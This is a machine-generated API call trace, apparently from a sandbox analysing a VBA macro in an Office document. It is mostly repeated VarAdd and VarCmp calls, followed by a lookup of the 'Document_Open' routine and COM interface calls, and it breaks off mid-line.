[0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.074] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.075] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.075] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.075] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.075] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.075] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.075] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.075] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.075] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.075] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.075] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.083] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.083] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.084] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.084] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.084] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.085] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.085] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.085] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.085] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.085] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.086] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.087] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.088] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.089] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.092] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d5f5700) [0073.136] ITypeInfo:RemoteGetDocumentation (in: This=0x2885d271318, memid=5, refPtrFlags=0xb38f6de0, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x28800000000 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x28800000000) returned 0x0 [0073.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0xbcb38f6e30, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0073.136] _mbscpy_s (in: _Dst=0xbcb38f6c80, _DstSizeInBytes=0xe, _Src=0x28860d42b3e | out: _Dst=0xbcb38f6c80) returned 0x0 [0073.136] _mbscpy_s (in: _Dst=0xbcb38f6c89, _DstSizeInBytes=0x5, _Src=0xbcb38f6e30 | out: _Dst=0xbcb38f6c89) returned 0x0 [0073.136] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document_Open") returned 0x4089c1 [0073.136] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e50b0 [0073.136] IUnknown:Release (This=0x2885d2711b8) returned 0x1 [0073.136] IUnknown:Release (This=0x2885d271268) returned 0x1 [0073.136] IUnknown:QueryInterface (in: This=0x2885d271268, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f67e8 | out: ppvObject=0xbcb38f67e8*=0x0) returned 0x80004002 [0073.136] IUnknown:Release (This=0x2885d271318) returned 0x3 [0073.136] IUnknown:QueryInterface (in: 